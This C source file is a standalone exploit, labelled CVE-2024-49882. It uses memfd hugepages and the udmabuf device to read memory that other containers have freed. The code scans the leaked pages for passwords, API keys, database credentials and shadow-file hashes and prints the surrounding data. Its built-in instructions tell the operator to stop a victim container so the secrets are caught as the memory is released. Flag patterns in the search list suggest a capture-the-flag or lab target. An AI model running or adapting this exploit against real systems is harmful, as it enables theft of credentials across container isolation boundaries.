/*
 * exploit_debug.c - CVE-2024-49882 Cross-Container Data Channel
 * 
 * This is the data channel component that leaks hugepage content
 * from other containers. Combined with CVE-2023-1206 sync channel
 * for coordinated covert communication.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <errno.h>
#include <ctype.h>
#include <time.h>
#include <signal.h>

#define MFD_HUGETLB 0x0004U
#define MFD_ALLOW_SEALING 0x0002U
#define MFD_HUGE_2MB (21 << 26)
#define F_ADD_SEALS 1033
#define F_SEAL_SHRINK 0x0002
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
#define HUGEPAGE_SIZE (2*1024*1024)

struct udmabuf_create {
    uint32_t memfd;
    uint32_t flags;
    uint64_t offset;
    uint64_t size;
};

volatile int keep_running = 1;
int total_secrets = 0;

void handle_signal(int sig) {
    (void)sig;
    keep_running = 0;
}

const char *patterns[] = {
    "POSTGRES_PASSWORD", "CTF_FLAG", "FLAG{", "SECRET",
    "PASSWORD", "API_KEY", "sk-live", "postgres",
    "PGPASSWORD", "root:", "daemon:", ":$6$", ":$y$",
    "COVERT_MSG", "MAGIC_DATA",  /* Our protocol patterns */
    NULL
};

void *leak_hugepage() {
    int memfd = syscall(319, "leak", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING);
    if (memfd < 0) return NULL;
    
    ftruncate(memfd, HUGEPAGE_SIZE);
    fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK);
    
    int udmabuf = open("/dev/udmabuf", O_RDWR);
    if (udmabuf < 0) { close(memfd); return NULL; }
    
    struct udmabuf_create c = {memfd, 0, 0, HUGEPAGE_SIZE};
    int dma = ioctl(udmabuf, UDMABUF_CREATE, &c);
    if (dma < 0) { close(udmabuf); close(memfd); return NULL; }
    
    void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ, MAP_SHARED, dma, 0);
    if (addr == MAP_FAILED) { close(dma); close(udmabuf); close(memfd); return NULL; }
    
    void *copy = malloc(HUGEPAGE_SIZE);
    if (copy) memcpy(copy, addr, HUGEPAGE_SIZE);
    
    munmap(addr, HUGEPAGE_SIZE);
    close(dma);
    close(udmabuf);
    close(memfd);
    
    return copy;
}

int check_page(void *data, int attempt) {
    unsigned char *p = data;
    int found = 0;
    
    /* Quick check for non-zero content */
    int non_zero = 0;
    for (int i = 0; i < 10000; i += 100) {
        if (p[i] != 0) non_zero++;
    }
    if (non_zero < 10) return 0;
    
    /* Search patterns */
    for (int i = 0; patterns[i]; i++) {
        char *match = memmem(data, HUGEPAGE_SIZE, patterns[i], strlen(patterns[i]));
        if (match) {
            size_t off = match - (char*)data;
            
            printf("\n\n");
            printf("🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥\n");
            printf("🔥  CROSS-CONTAINER SECRET LEAKED!                      🔥\n");
            printf("🔥  Pattern: %-45s🔥\n", patterns[i]);
            printf("🔥  Attempt: %-5d  Offset: 0x%-8zx                   🔥\n", attempt, off);
            printf("🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥\n\n");
            
            /* Print surrounding content */
            printf("--- Leaked Data ---\n");
            size_t start = (off > 200) ? off - 200 : 0;
            size_t end = (off + 500 < HUGEPAGE_SIZE) ? off + 500 : HUGEPAGE_SIZE;
            
            for (size_t j = start; j < end; j++) {
                if (isprint(p[j]) || p[j] == '\n') putchar(p[j]);
                else if (p[j] != 0) putchar('.');
            }
            printf("\n--- End ---\n\n");
            
            found++;
            total_secrets++;
        }
    }
    
    return found;
}

void print_free_hugepages() {
    FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r");
    if (f) {
        int free_hp = 0;
        if (fscanf(f, "%d", &free_hp) == 1) {
            printf("\r[*] Free hugepages: %-4d | Secrets found: %-4d | Press Ctrl+C to stop", 
                   free_hp, total_secrets);
            fflush(stdout);
        }
        fclose(f);
    }
}

int main() {
    printf("╔══════════════════════════════════════════════════════════════╗\n");
    printf("║  CVE-2024-49882: Cross-Container Hugepage Data Channel       ║\n");
    printf("╚══════════════════════════════════════════════════════════════╝\n\n");
    
    printf("INSTRUCTIONS:\n");
    printf("1. This exploit runs continuously, watching for freed hugepages\n");
    printf("2. In another terminal, STOP the victim container:\n");
    printf("   sudo docker stop victim_db\n");
    printf("3. Watch this terminal - it should catch secrets!\n");
    printf("4. Press Ctrl+C to stop\n\n");
    
    signal(SIGINT, handle_signal);
    
    printf("[*] Starting continuous leak monitoring...\n\n");
    
    int attempt = 0;
    int last_free = -1;
    
    while (keep_running) {
        /* Check if free hugepages changed (indicates release!) */
        FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r");
        int free_hp = 0;
        if (f) { 
            if (fscanf(f, "%d", &free_hp) != 1) free_hp = 0;
            fclose(f); 
        }
        
        if (free_hp != last_free) {
            if (last_free != -1 && free_hp > last_free) {
                printf("\n\n[!] HUGEPAGES RELEASED! %d -> %d (grabbing them now!)\n\n", 
                       last_free, free_hp);
                
                /* Aggressive leak when pages are released */
                for (int i = 0; i < 100 && keep_running; i++) {
                    void *data = leak_hugepage();
                    if (data) {
                        check_page(data, attempt++);
                        free(data);
                    }
                }
            }
            last_free = free_hp;
        }
        
        /* Normal leak attempt */
        void *data = leak_hugepage();
        if (data) {
            check_page(data, attempt++);
            free(data);
        }
        
        if (attempt % 100 == 0) {
            print_free_hugepages();
        }
        
        usleep(1000);  /* 1ms between attempts */
    }
    
    printf("\n\n");
    printf("╔══════════════════════════════════════════════════════════════╗\n");
    printf("║  RESULTS: Found %d secrets                                  ║\n", total_secrets);
    printf("╚══════════════════════════════════════════════════════════════╝\n");
    
    return (total_secrets > 0) ? 0 : 1;
}
